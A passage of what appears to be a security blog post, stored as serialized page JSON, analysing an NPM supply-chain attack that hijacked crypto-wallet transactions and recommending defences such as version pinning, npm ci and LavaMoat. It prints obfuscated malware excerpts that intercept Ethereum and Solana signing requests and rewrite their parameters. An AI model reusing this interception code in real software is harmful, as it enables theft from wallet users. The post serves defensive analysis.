finalResponseText",{"type":23,"tag":75,"props":108348,"children":108349},{"style":209},[108350],{"type":29,"value":47049},{"type":23,"tag":75,"props":108352,"children":108353},{"class":77,"line":322},[108354,108359,108363,108367,108372,108377,108381,108385,108389,108393,108397,108401,108406],{"type":23,"tag":75,"props":108355,"children":108356},{"style":82},[108357],{"type":29,"value":108358},"    typeof",{"type":23,"tag":75,"props":108360,"children":108361},{"style":110},[108362],{"type":29,"value":108313},{"type":23,"tag":75,"props":108364,"children":108365},{"style":209},[108366],{"type":29,"value":42617},{"type":23,"tag":75,"props":108368,"children":108369},{"style":1266},[108370],{"type":29,"value":108371}," 'string'",{"type":23,"tag":75,"props":108373,"children":108374},{"style":209},[108375],{"type":29,"value":108376}," ?",{"type":23,"tag":75,"props":108378,"children":108379},{"style":110},[108380],{"type":29,"value":108313},{"type":23,"tag":75,"props":108382,"children":108383},{"style":209},[108384],{"type":29,"value":46310},{"type":23,"tag":75,"props":108386,"children":108387},{"style":110},[108388],{"type":29,"value":48719},{"type":23,"tag":75,"props":108390,"children":108391},{"style":94},[108392],{"type":29,"value":557},{"type":23,"tag":75,"props":108394,"children":108395},{"style":88},[108396],{"type":29,"value":50422},{"type":23,"tag":75,"props":108398,"children":108399},{"style":94},[108400],{"type":29,"value":643},{"type":23,"tag":75,"props":108402,"children":108403},{"style":110},[108404],{"type":29,"value":108405},"processedData",{"type":23,"tag":75,"props":108407,"children":108408},{"style":94},[108409],{"type":29,"value":15099},{"type":23,"tag":75,"props":108411,"children":108412},{"class":77,"line":340},[108413,108417,108422,108426,108430,108435,108439,108444],{"type":23,"tag":75,"props":108414,"children":108415},{"style":82},[108416],{"type":29,"value":47380},{"type":23,"tag":75,"props":108418,"children":108419},{"style":110},[108420],{"type":29,"value":108421}," finalResponse",{"type":23,"tag":75,"props":108423,"children":108424},{"style":209},[108425],{"type":29,"value":1193},{"type":23,"tag":75,"props":108427,"children":108428},{"style":82},[108429],{"type":29,"value":43128},{"type":23,"tag":75,"props":108431,"children":108432},{"style":88},[108433],{"type":29,"value":108434}," Response",{"type":23,"tag":75,"props":108436,"children":108437},{"style":94},[108438],{"type":29,"value":643},{"type":23,"tag":75,"props":108440,"children":108441},{"style":110},[108442],{"type":29,"value":108443},"finalResponseText",{"type":23,"tag":75,"props":108445,"children":108446},{"style":94},[108447],{"type":29,"value":60069},{"type":23,"tag":75,"props":108449,"children":108450},{"class":77,"line":349},[108451,108456,108460,108464,108469],{"type":23,"tag":75,"props":108452,"children":108453},{"style":110},[108454],{"type":29,"value":108455},"    status:",{"type":23,"tag":75,"props":108457,"children":108458},{"style":110},[108459],{"type":29,"value":108042},{"type":23,"tag":75,"props":108461,"children":108462},{"style":94},[108463],{"type":29,"value":557},{"type":23,"tag":75,"props":108465,"children":108466},{"style":110},[108467],{"type":29,"value":108468},"status",{"type":23,"tag":75,"props":108470,"children":108471},{"style":94},[108472],{"type":29,"value":118},{"type":23,"tag":75,"props":108474,"children":108475},{"class":77,"line":363},[108476,108481,108485,108489,108494],{"type":23,"tag":75,"props":108477,"children":108478},{"style":110},[108479],{"type":29,"value":108480},"    statusText:",{"type":23,"tag":75,"props":108482,"children":108483},{"style":110},[108484],{"type":29,"value":108042},{"type":23,"tag":75,"props":108486,"children":108487},{"style":94},[108488],{"type":29,"value":557},{"type":23,"tag":75,"props":108490,"children":108491},{"style":110},[108492],{"type":29,"value":108493},"statusText",{"type":23,"tag":75,"props":108495,"children":108496},{"style":94},[108497],{"type":29,"value":118},{"type":23,"tag":75,"props":108499,"children":108500},{"class":77,"line":656},[108501,108506,108510,108514,108518],{"type":23,"tag":75,"props":108502,"children":108503},{"style":110},[108504],{"type":29,"value":108505},"    headers:",{"type":23,"tag":75,"props":108507,"children":108508},{"style":110},[108509],{"type":29,"value":108042},{"type":23,"tag":75,"props":108511,"children":108512},{"style":94},[108513],{"type":29,"value":557},{"type":23,"tag":75,"props":108515,"children":108516},{"style":110},[108517],{"type":29,"value":108116},{"type":23,"tag":75,"props":108519,"children":108520},{"style":94},[108521],{"type":29,"value":118},{"type":23,"tag":75,"props":108523,"children":108524},{"class":77,"line":705},[108525],{"type":23,"tag":75,"props":108526,"children":108527},{"style":94},[108528],{"type":29,"value":108529},"  });\n",{"type":23,"tag":75,"props":108531,"children":108532},{"class":77,"line":787},[108533,108537,108541],{"type":23,"tag":75,"props":108534,"children":108535},{"style":175},[108536],{"type":29,"value":7418},{"type":23,"tag":75,"props":108538,"children":108539},{"style":110},[108540],{"type":29,"value":108421},{"type":23,"tag":75,"props":108542,"children":108543},{"style":94},[108544],{"type":29,"value":245},{"type":23,"tag":75,"props":108546,"children":108547},{"class":77,"line":826},[108548],{"type":23,"tag":75,"props":108549,"children":108550},{"style":94},[108551],{"type":29,"value":27801},{"type":23,"tag":2797,"props":108553,"children":108554},{"start":121},[108555],{"type":23,"tag":2801,"props":108556,"children":108557},{},[108558],{"type":29,"value":108559},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":64,"props":108561,"children":108563},{"code":108562,"language":42561,"meta":7,"className":42559,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[108564],{"type":23,"tag":71,"props":108565,"children":108566},{"__ignoreMap":7},[108567,108646,108657,108714,108754,108779,108794,108805,108839,108872,108891,108918,108926,108937,108977,109006,109034,109041,109081,109124,109168,109183,109222,109229,109253,109260],{"type":23,"tag":75,"props":108568,"children":108569},{"class":77,"line":78},[108570,108574,108578,108583,108587,108591,108595,108600,108604,108609,108613,108618,108622,108626,108630,108634,108638,108642],{"type":23,"tag":75,"props":108571,"children":108572},{"style":175},[108573],{"type":29,"value":26807},{"type":23,"tag":75,"props":108575,"children":108576},{"style":94},[108577],{"type":29,"value":183},{"type":23,"tag":75,"props":108579,"children":108580},{"style":110},[108581],{"type":29,"value":108582},"_0x2c3d7e",{"type":23,"tag":75,"props":108584,"children":108585},{"style":94},[108586],{"type":29,"value":557},{"type":23,"tag":75,"props":108588,"children":108589},{"style":110},[108590],{"type":29,"value":49504},{"type":23,"tag":75,"props":108592,"children":108593},{"style":209},[108594],{"type":29,"value":42617},{"type":23,"tag":75,"props":108596,"children":108597},{"style":1266},[108598],{"type":29,"value":108599}," 'eth_sendTransaction'",{"type":23,"tag":75,"props":108601,"children":108602},{"style":209},[108603],{"type":29,"value":7889},{"type":23,"tag":75,"props":108605,"children":108606},{"style":110},[108607],{"type":29,"value":108608}," _0x2c3d7e",{"type":23,"tag":75,"props":108610,"children":108611},{"style":94},[108612],{"type":29,"value":557},{"type":23,"tag":75,"props":108614,"children":108615},{"style":110},[108616],{"type":29,"value":108617},"params",{"type":23,"tag":75,"props":108619,"children":108620},{"style":209},[108621],{"type":29,"value":7889},{"type":23,"tag":75,"props":108623,"children":108624},{"style":110},[108625],{"type":29,"value":108608},{"type":23,"tag":75,"props":108627,"children":108628},{"style":94},[108629],{"type":29,"value":557},{"type":23,"tag":75,"props":108631,"children":108632},{"style":110},[108633],{"type":29,"value":108617},{"type":23,"tag":75,"props":108635,"children":108636},{"style":94},[108637],{"type":29,"value":814},{"type":23,"tag":75,"props":108639,"children":108640},{"style":237},[108641],{"type":29,"value":648},{"type":23,"tag":75,"props":108643,"children":108644},{"style":94},[108645],{"type":29,"value":51814},{"type":23,"tag":75,"props":108647,"children":108648},{"class":77,"line":100},[108649,108653],{"type":23,"tag":75,"props":108650,"children":108651},{"style":175},[108652],{"type":29,"value":107685},{"type":23,"tag":75,"props":108654,"children":108655},{"style":94},[108656],{"type":29,"value":401},{"type":23,"tag":75,"props":108658,"children":108659},{"class":77,"line":121},[108660,108664,108669,108673,108678,108682,108686,108690,108694,108698,108702,108706,108710],{"type":23,"tag":75,"props":108661,"children":108662},{"style":82},[108663],{"type":29,"value":62853},{"type":23,"tag":75,"props":108665,"children":108666},{"style":110},[108667],{"type":29,"value":108668}," _0x39ad21",{"type":23,"tag":75,"props":108670,"children":108671},{"style":209},[108672],{"type":29,"value":1193},{"type":23,"tag":75,"props":108674,"children":108675},{"style":88},[108676],{"type":29,"value":108677}," _0x1089ae",{"type":23,"tag":75,"props":108679,"children":108680},{"style":94},[108681],{"type":29,"value":643},{"type":23,"tag":75,"props":108683,"children":108684},{"style":110},[108685],{"type":29,"value":108582},{"type":23,"tag":75,"props":108687,"children":108688},{"style":94},[108689],{"type":29,"value":557},{"type":23,"tag":75,"props":108691,"children":108692},{"style":110},[108693],{"type":29,"value":108617},{"type":23,"tag":75,"props":108695,"children":108696},{"style":94},[108697],{"type":29,"value":814},{"type":23,"tag":75,"props":108699,"children":108700},{"style":237},[108701],{"type":29,"value":648},{"type":23,"tag":75,"props":108703,"children":108704},{"style":94},[108705],{"type":29,"value":34275},{"type":23,"tag":75,"props":108707,"children":108708},{"style":82},[108709],{"type":29,"value":15268},{"type":23,"tag":75,"props":108711,"children":108712},{"style":94},[108713],{"type":29,"value":15099},{"type":23,"tag":75,"props":108715,"children":108716},{"class":77,"line":138},[108717,108722,108726,108730,108734,108738,108742,108746,108750],{"type":23,"tag":75,"props":108718,"children":108719},{"style":110},[108720],{"type":29,"value":108721},"    _0x2c3d7e",{"type":23,"tag":75,"props":108723,"children":108724},{"style":94},[108725],{"type":29,"value":557},{"type":23,"tag":75,"props":108727,"children":108728},{"style":110},[108729],{"type":29,"value":108617},{"type":23,"tag":75,"props":108731,"children":108732},{"style":94},[108733],{"type":29,"value":814},{"type":23,"tag":75,"props":108735,"children":108736},{"style":237},[108737],{"type":29,"value":648},{"type":23,"tag":75,"props":108739,"children":108740},{"style":94},[108741],{"type":29,"value":13463},{"type":23,"tag":75,"props":108743,"children":108744},{"style":209},[108745],{"type":29,"value":212},{"type":23,"tag":75,"props":108747,"children":108748},{"style":110},[108749],{"type":29,"value":108668},{"type":23,"tag":75,"props":108751,"children":108752},{"style":94},[108753],{"type":29,"value":245},{"type":23,"tag":75,"props":108755,"children":108756},{"class":77,"line":161},[108757,108761,108765,108769,108774],{"type":23,"tag":75,"props":108758,"children":108759},{"style":94},[108760],{"type":29,"value":42663},{"type":23,"tag":75,"props":108762,"children":108763},{"style":175},[108764],{"type":29,"value":59602},{"type":23,"tag":75,"props":108766,"children":108767},{"style":94},[108768],{"type":29,"value":183},{"type":23,"tag":75,"props":108770,"children":108771},{"style":110},[108772],{"type":29,"value":108773},"_0x226343",{"type":23,"tag":75,"props":108775,"children":108776},{"style":94},[108777],{"type":29,"value":108778},") {}\n",{"type":23,"tag":75,"props":108780,"children":108781},{"class":77,"line":196},[108782,108786,108790],{"type":23,"tag":75,"props":108783,"children":108784},{"style":94},[108785],{"type":29,"value":58066},{"type":23,"tag":75,"props":108787,"children":108788},{"style":175},[108789],{"type":29,"value":6878},{"type":23,"tag":75,"props":108791,"children":108792},{"style":94},[108793],{"type":29,"value":401},{"type":23,"tag":75,"props":108795,"children":108796},{"class":77,"line":220},[108797,108801],{"type":23,"tag":75,"props":108798,"children":108799},{"style":175},[108800],{"type":29,"value":42589},{"type":23,"tag":75,"props":108802,"children":108803},{"style":94},[108804],{"type":29,"value":2874},{"type":23,"tag":75,"props":108806,"children":108807},{"class":77,"line":248},[108808,108813,108817,108821,108825,108829,108834],{"type":23,"tag":75,"props":108809,"children":108810},{"style":94},[108811],{"type":29,"value":108812},"    (",{"type":23,"tag":75,"props":108814,"children":108815},{"style":110},[108816],{"type":29,"value":108582},{"type":23,"tag":75,"props":108818,"children":108819},{"style":94},[108820],{"type":29,"value":557},{"type":23,"tag":75,"props":108822,"children":108823},{"style":110},[108824],{"type":29,"value":49504},{"type":23,"tag":75,"props":108826,"children":108827},{"style":209},[108828],{"type":29,"value":42617},{"type":23,"tag":75,"props":108830,"children":108831},{"style":1266},[108832],{"type":29,"value":108833}," 'solana_signTransaction'",{"type":23,"tag":75,"props":108835,"children":108836},{"style":209},[108837],{"type":29,"value":108838}," ||\n",{"type":23,"tag":75,"props":108840,"children":108841},{"class":77,"line":270},[108842,108847,108851,108855,108859,108864,108868],{"type":23,"tag":75,"props":108843,"children":108844},{"style":110},[108845],{"type":29,"value":108846},"      _0x2c3d7e",{"type":23,"tag":75,"props":108848,"children":108849},{"style":94},[108850],{"type":29,"value":557},{"type":23,"tag":75,"props":108852,"children":108853},{"style":110},[108854],{"type":29,"value":49504},{"type":23,"tag":75,"props":108856,"children":108857},{"style":209},[108858],{"type":29,"value":42617},{"type":23,"tag":75,"props":108860,"children":108861},{"style":1266},[108862],{"type":29,"value":108863}," 'solana_signAndSendTransaction'",{"type":23,"tag":75,"props":108865,"children":108866},{"style":94},[108867],{"type":29,"value":167},{"type":23,"tag":75,"props":108869,"children":108870},{"style":209},[108871],{"type":29,"value":8196},{"type":23,"tag":75,"props":108873,"children":108874},{"class":77,"line":279},[108875,108879,108883,108887],{"type":23,"tag":75,"props":108876,"children":108877},{"style":110},[108878],{"type":29,"value":108721},{"type":23,"tag":75,"props":108880,"children":108881},{"style":94},[108882],{"type":29,"value":557},{"type":23,"tag":75,"props":108884,"children":108885},{"style":110},[108886],{"type":29,"value":108617},{"type":23,"tag":75,"props":108888,"children":108889},{"style":209},[108890],{"type":29,"value":63869},{"type":23,"tag":75,"props":108892,"children":108893},{"class":77,"line":303},[108894,108898,108902,108906,108910,108914],{"type":23,"tag":75,"props":108895,"children":108896},{"style":110},[108897],{"type":29,"value":108721},{"type":23,"tag":75,"props":108899,"children":108900},{"style":94},[108901],{"type":29,"value":557},{"type":23,"tag":75,"props":108903,"children":108904},{"style":110},[108905],{"type":29,"value":108617},{"type":23,"tag":75,"props":108907,"children":108908},{"style":94},[108909],{"type":29,"value":814},{"type":23,"tag":75,"props":108911,"children":108912},{"style":237},[108913],{"type":29,"value":648},{"type":23,"tag":75,"props":108915,"children":108916},{"style":94},[108917],{"type":29,"value":823},{"type":23,"tag":75,"props":108919,"children":108920},{"class":77,"line":322},[108921],{"type":23,"tag":75,"props":108922,"children":108923},{"style":94},[108924],{"type":29,"value":108925},"  ) {\n",{"type":23,"tag":75,"props":108927,"children":108928},{"class":77,"line":340},[108929,108933],{"type":23,"tag":75,"props":108930,"children":108931},{"style":175},[108932],{"type":29,"value":81155},{"type":23,"tag":75,"props":108934,"children":108935},{"style":94},[108936],{"type":29,"value":401},{"type":23,"tag":75,"props":108938,"children":108939},{"class":77,"line":349},[108940,108944,108949,108953,108957,108961,108965,108969,108973],{"type":23,"tag":75,"props":108941,"children":108942},{"style":82},[108943],{"type":29,"value":19334},{"type":23,"tag":75,"props":108945,"children":108946},{"style":110},[108947],{"type":29,"value":108948}," _0x5ad975",{"type":23,"tag":75,"props":108950,"children":108951},{"style":209},[108952],{"type":29,"value":1193},{"type":23,"tag":75,"props":108954,"children":108955},{"style":110},[108956],{"type":29,"value":108608},{"type":23,"tag":75,"props":108958,"children":108959},{"style":94},[108960],{"type":29,"value":557},{"type":23,"tag":75,"props":108962,"children":108963},{"style":110},[108964],{"type":29,"value":108617},{"type":23,"tag":75,"props":108966,"children":108967},{"style":94},[108968],{"type":29,"value":814},{"type":23,"tag":75,"props":108970,"children":108971},{"style":237},[108972],{"type":29,"value":648},{"type":23,"tag":75,"props":108974,"children":108975},{"style":94},[108976],{"type":29,"value":42769},{"type":23,"tag":75,"props":108978,"children":108979},{"class":77,"line":363},[108980,108984,108988,108993,108997,109002],{"type":23,"tag":75,"props":108981,"children":108982},{"style":175},[108983],{"type":29,"value":50476},{"type":23,"tag":75,"props":108985,"children":108986},{"style":94},[108987],{"type":29,"value":183},{"type":23,"tag":75,"props":108989,"children":108990},{"style":110},[108991],{"type":29,"value":108992},"_0x5ad975",{"type":23,"tag":75,"props":108994,"children":108995},{"style":94},[108996],{"type":29,"value":557},{"type":23,"tag":75,"props":108998,"children":108999},{"style":110},[109000],{"type":29,"value":109001},"transaction",{"type":23,"tag":75,"props":109003,"children":109004},{"style":94},[109005],{"type":29,"value":193},{"type":23,"tag":75,"props":109007,"children":109008},{"class":77,"line":656},[109009,109014,109018,109022,109026,109030],{"type":23,"tag":75,"props":109010,"children":109011},{"style":110},[109012],{"type":29,"value":109013},"        _0x5ad975",{"type":23,"tag":75,"props":109015,"children":109016},{"style":209},[109017],{"type":29,"value":1193},{"type":23,"tag":75,"props":109019,"children":109020},{"style":110},[109021],{"type":29,"value":108948},{"type":23,"tag":75,"props":109023,"children":109024},{"style":94},[109025],{"type":29,"value":557},{"type":23,"tag":75,"props":109027,"children":109028},{"style":110},[109029],{"type":29,"value":109001},{"type":23,"tag":75,"props":109031,"children":109032},{"style":94},[109033],{"type":29,"value":245},{"type":23,"tag":75,"props":109035,"children":109036},{"class":77,"line":705},[109037],{"type":23,"tag":75,"props":109038,"children":109039},{"style":94},[109040],{"type":29,"value":23908},{"type":23,"tag":75,"props":109042,"children":109043},{"class":77,"line":787},[109044,109048,109053,109057,109061,109065,109069,109073,109077],{"type":23,"tag":75,"props":109045,"children":109046},{"style":82},[109047],{"type":29,"value":42742},{"type":23,"tag":75,"props":109049,"children":109050},{"style":110},[109051],{"type":29,"value":109052}," _0x5dbe63",{"type":23,"tag":75,"props":109054,"children":109055},{"style":209},[109056],{"type":29,"value":1193},{"type":23,"tag":75,"props":109058,"children":109059},{"style":88},[109060],{"type":29,"value":108677},{"type":23,"tag":75,"props":109062,"children":109063},{"style":94},[109064],{"type":29,"value":643},{"type":23,"tag":75,"props":109066,"children":109067},{"style":110},[109068],{"type":29,"value":108992},{"type":23,"tag":75,"props":109070,"children":109071},{"style":94},[109072],{"type":29,"value":611},{"type":23,"tag":75,"props":109074,"children":109075},{"style":82},[109076],{"type":29,"value":19434},{"type":23,"tag":75,"props":109078,"children":109079},{"style":94},[109080],{"type":29,"value":15099},{"type":23,"tag":75,"props":109082,"children":109083},{"class":77,"line":826},[109084,109088,109092,109096,109100,109104,109108,109112,109116,109120],{"type":23,"tag":75,"props":109085,"children":109086},{"style":175},[109087],{"type":29,"value":50476},{"type":23,"tag":75,"props":109089,"children":109090},{"style":94},[109091],{"type":29,"value":183},{"type":23,"tag":75,"props":109093,"children":109094},{"style":110},[109095],{"type":29,"value":108582},{"type":23,"tag":75,"props":109097,"children":109098},{"style":94},[109099],{"type":29,"value":557},{"type":23,"tag":75,"props":109101,"children":109102},{"style":110},[109103],{"type":29,"value":108617},{"type":23,"tag":75,"props":109105,"children":109106},{"style":94},[109107],{"type":29,"value":814},{"type":23,"tag":75,"props":109109,"children":109110},{"style":237},[109111],{"type":29,"value":648},{"type":23,"tag":75,"props":109113,"children":109114},{"style":94},[109115],{"type":29,"value":4695},{"type":23,"tag":75,"props":109117,"children":109118},{"style":110},[109119],{"type":29,"value":109001},{"type":23,"tag":75,"props":109121,"children":109122},{"style":94},[109123],{"type":29,"value":193},{"type":23,"tag":75,"props":109125,"children":109126},{"class":77,"line":834},[109127,109132,109136,109140,109144,109148,109152,109156,109160,109164],{"type":23,"tag":75,"props":109128,"children":109129},{"style":110},[109130],{"type":29,"value":109131},"        _0x2c3d7e",{"type":23,"tag":75,"props":109133,"children":109134},{"style":94},[109135],{"type":29,"value":557},{"type":23,"tag":75,"props":109137,"children":109138},{"style":110},[109139],{"type":29,"value":108617},{"type":23,"tag":75,"props":109141,"children":109142},{"style":94},[109143],{"type":29,"value":814},{"type":23,"tag":75,"props":109145,"children":109146},{"style":237},[109147],{"type":29,"value":648},{"type":23,"tag":75,"props":109149,"children":109150},{"style":94},[109151],{"type":29,"value":4695},{"type":23,"tag":75,"props":109153,"children":109154},{"style":110},[109155],{"type":29,"value":109001},{"type":23,"tag":75,"props":109157,"children":109158},{"style":209},[109159],{"type":29,"value":1193},{"type":23,"tag":75,"props":109161,"children":109162},{"style":110},[109163],{"type":29,"value":109052},{"type":23,"tag":75,"props":109165,"children":109166},{"style":94},[109167],{"type":29,"value":245},{"type":23,"tag":75,"props":109169,"children":109170},{"class":77,"line":881},[109171,109175,109179],{"type":23,"tag":75,"props":109172,"children":109173},{"style":94},[109174],{"type":29,"value":50131},{"type":23,"tag":75,"props":109176,"children":109177},{"style":175},[109178],{"type":29,"value":6878},{"type":23,"tag":75,"props":109180,"children":109181},{"style":94},[109182],{"type":29,"value":401},{"type":23,"tag":75,"props":109184,"children":109185},{"class":77,"line":3355},[109186,109190,109194,109198,109202,109206,109210,109214,109218],{"type":23,"tag":75,"props":109187,"children":109188},{"style":110},[109189],{"type":29,"value":109131},{"type":23,"tag":75,"props":109191,"children":109192},{"style":94},[109193],{"type":29,"value":557},{"type":23,"tag":75,"props":109195,"children":109196},{"style":110},[109197],{"type":29,"value":108617},{"type":23,"tag":75,"props":109199,"children":109200},{"style":94},[109201],{"type":29,"value":814},{"type":23,"tag":75,"props":109203,"children":109204},{"style":237},[109205],{"type":29,"value":648},{"type":23,"tag":75,"props":109207,"children":109208},{"style":94},[109209],{"type":29,"value":13463},{"type":23,"tag":75,"props":109211,"children":109212},{"style":209},[109213],{"type":29,"value":212},{"type":23,"tag":75,"props":109215,"children":109216},{"style":110},[109217],{"type":29,"value":109052},{"type":23,"tag":75,"props":109219,"children":109220},{"style":94},[109221],{"type":29,"value":245},{"type":23,"tag":75,"props":109223,"children":109224},{"class":77,"line":3390},[109225],{"type":23,"tag":75,"props":109226,"children":109227},{"style":94},[109228],{"type":29,"value":23908},{"type":23,"tag":75,"props":109230,"children":109231},{"class":77,"line":3423},[109232,109236,109240,109244,109249],{"type":23,"tag":75,"props":109233,"children":109234},{"style":94},[109235],{"type":29,"value":8344},{"type":23,"tag":75,"props":109237,"children":109238},{"style":175},[109239],{"type":29,"value":59602},{"type":23,"tag":75,"props":109241,"children":109242},{"style":94},[109243],{"type":29,"value":183},{"type":23,"tag":75,"props":109245,"children":109246},{"style":110},[109247],{"type":29,"value":109248},"_0x4b99fd",{"type":23,"tag":75,"props":109250,"children":109251},{"style":94},[109252],{"type":29,"value":108778},{"type":23,"tag":75,"props":109254,"children":109255},{"class":77,"line":3436},[109256],{"type":23,"tag":75,"props":109257,"children":109258},{"style":94},[109259],{"type":29,"value":17141},{"type":23,"tag":75,"props":109261,"children":109262},{"class":77,"line":3449},[109263],{"type":23,"tag":75,"props":109264,"children":109265},{"style":94},[109266],{"type":29,"value":369},{"type":23,"tag":923,"props":109268,"children":109270},{"id":109269},"impact-of-the-attack",[109271],{"type":29,"value":109272},"Impact of the Attack",{"type":23,"tag":32,"props":109274,"children":109275},{},[109276],{"type":29,"value":109277},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":24,"props":109279,"children":109281},{"id":109280},"why-it-will-happen-again",[109282],{"type":29,"value":109283},"Why It Will Happen Again",{"type":23,"tag":32,"props":109285,"children":109286},{},[109287],{"type":29,"value":109288},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":32,"props":109290,"children":109291},{},[109292],{"type":29,"value":109293},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":24,"props":109295,"children":109297},{"id":109296},"what-developers-can-do",[109298],{"type":29,"value":109299},"What Developers Can Do",{"type":23,"tag":32,"props":109301,"children":109302},{},[109303],{"type":29,"value":109304},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":923,"props":109306,"children":109308},{"id":109307},"_1-version-pinning-in-packagejson",[109309,109311],{"type":29,"value":109310},"1. Version pinning in ",{"type":23,"tag":71,"props":109312,"children":109314},{"className":109313},[],[109315],{"type":29,"value":109316},"package.json",{"type":23,"tag":32,"props":109318,"children":109319},{},[109320],{"type":29,"value":109321},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":32,"props":109323,"children":109324},{},[109325,109327,109333,109335,109340,109342,109347],{"type":29,"value":109326},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":71,"props":109328,"children":109330},{"className":109329},[],[109331],{"type":29,"value":109332},"npm install",{"type":29,"value":109334},". To pin it, just make sure to remove the caret ",{"type":23,"tag":71,"props":109336,"children":109338},{"className":109337},[],[109339],{"type":29,"value":60121},{"type":29,"value":109341}," symbol before the version in ",{"type":23,"tag":71,"props":109343,"children":109345},{"className":109344},[],[109346],{"type":29,"value":109316},{"type":29,"value":1018},{"type":23,"tag":64,"props":109349,"children":109351},{"code":109350,"language":45191,"meta":7,"className":45189,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[109352],{"type":23,"tag":71,"props":109353,"children":109354},{"__ignoreMap":7},[109355,109376,109397,109418],{"type":23,"tag":75,"props":109356,"children":109357},{"class":77,"line":78},[109358,109363,109367,109372],{"type":23,"tag":75,"props":109359,"children":109360},{"style":1266},[109361],{"type":29,"value":109362},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":75,"props":109364,"children":109365},{"style":94},[109366],{"type":29,"value":863},{"type":23,"tag":75,"props":109368,"children":109369},{"style":1266},[109370],{"type":29,"value":109371},"\"1.23.1\"",{"type":23,"tag":75,"props":109373,"children":109374},{"style":94},[109375],{"type":29,"value":118},{"type":23,"tag":75,"props":109377,"children":109378},{"class":77,"line":100},[109379,109384,109388,109393],{"type":23,"tag":75,"props":109380,"children":109381},{"style":1266},[109382],{"type":29,"value":109383},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":75,"props":109385,"children":109386},{"style":94},[109387],{"type":29,"value":863},{"type":23,"tag":75,"props":109389,"children":109390},{"style":1266},[109391],{"type":29,"value":109392},"\"8.3.0\"",{"type":23,"tag":75,"props":109394,"children":109395},{"style":94},[109396],{"type":29,"value":118},{"type":23,"tag":75,"props":109398,"children":109399},{"class":77,"line":121},[109400,109405,109409,109414],{"type":23,"tag":75,"props":109401,"children":109402},{"style":1266},[109403],{"type":29,"value":109404},"\"@react-native-community/netinfo\"",{"type":23,"tag":75,"props":109406,"children":109407},{"style":94},[109408],{"type":29,"value":863},{"type":23,"tag":75,"props":109410,"children":109411},{"style":1266},[109412],{"type":29,"value":109413},"\"11.4.1\"",{"type":23,"tag":75,"props":109415,"children":109416},{"style":94},[109417],{"type":29,"value":118},{"type":23,"tag":75,"props":109419,"children":109420},{"class":77,"line":138},[109421,109426,109430],{"type":23,"tag":75,"props":109422,"children":109423},{"style":1266},[109424],{"type":29,"value":109425},"\"@react-native-picker/picker\"",{"type":23,"tag":75,"props":109427,"children":109428},{"style":94},[109429],{"type":29,"value":863},{"type":23,"tag":75,"props":109431,"children":109432},{"style":1266},[109433],{"type":29,"value":109434},"\"2.11.0\"\n",{"type":23,"tag":923,"props":109436,"children":109438},{"id":109437},"_2-use-npm-ci",[109439,109441],{"type":29,"value":109440},"2. Use ",{"type":23,"tag":71,"props":109442,"children":109444},{"className":109443},[],[109445],{"type":29,"value":109446},"npm ci",{"type":23,"tag":32,"props":109448,"children":109449},{},[109450,109455,109457,109463,109465,109470],{"type":23,"tag":71,"props":109451,"children":109453},{"className":109452},[],[109454],{"type":29,"value":109446},{"type":29,"value":109456}," uses the dependency versions from ",{"type":23,"tag":71,"props":109458,"children":109460},{"className":109459},[],[109461],{"type":29,"value":109462},"package-lock.json",{"type":29,"value":109464}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":71,"props":109466,"children":109468},{"className":109467},[],[109469],{"type":29,"value":109332},{"type":29,"value":109471}," when adding a new package or updating an existing one.",{"type":23,"tag":923,"props":109473,"children":109475},{"id":109474},"_3-implement-lavamoat",[109476,109478],{"type":29,"value":109477},"3. Implement ",{"type":23,"tag":940,"props":109479,"children":109482},{"href":109480,"rel":109481},"https://github.com/LavaMoat/LavaMoat/tree/main",[944],[109483],{"type":23,"tag":16596,"props":109484,"children":109485},{},[109486],{"type":29,"value":109487},"Lavamoat",{"type":23,"tag":32,"props":109489,"children":109490},{},[109491],{"type":29,"value":109492},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":32,"props":109494,"children":109495},{},[109496],{"type":29,"value":109497},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like 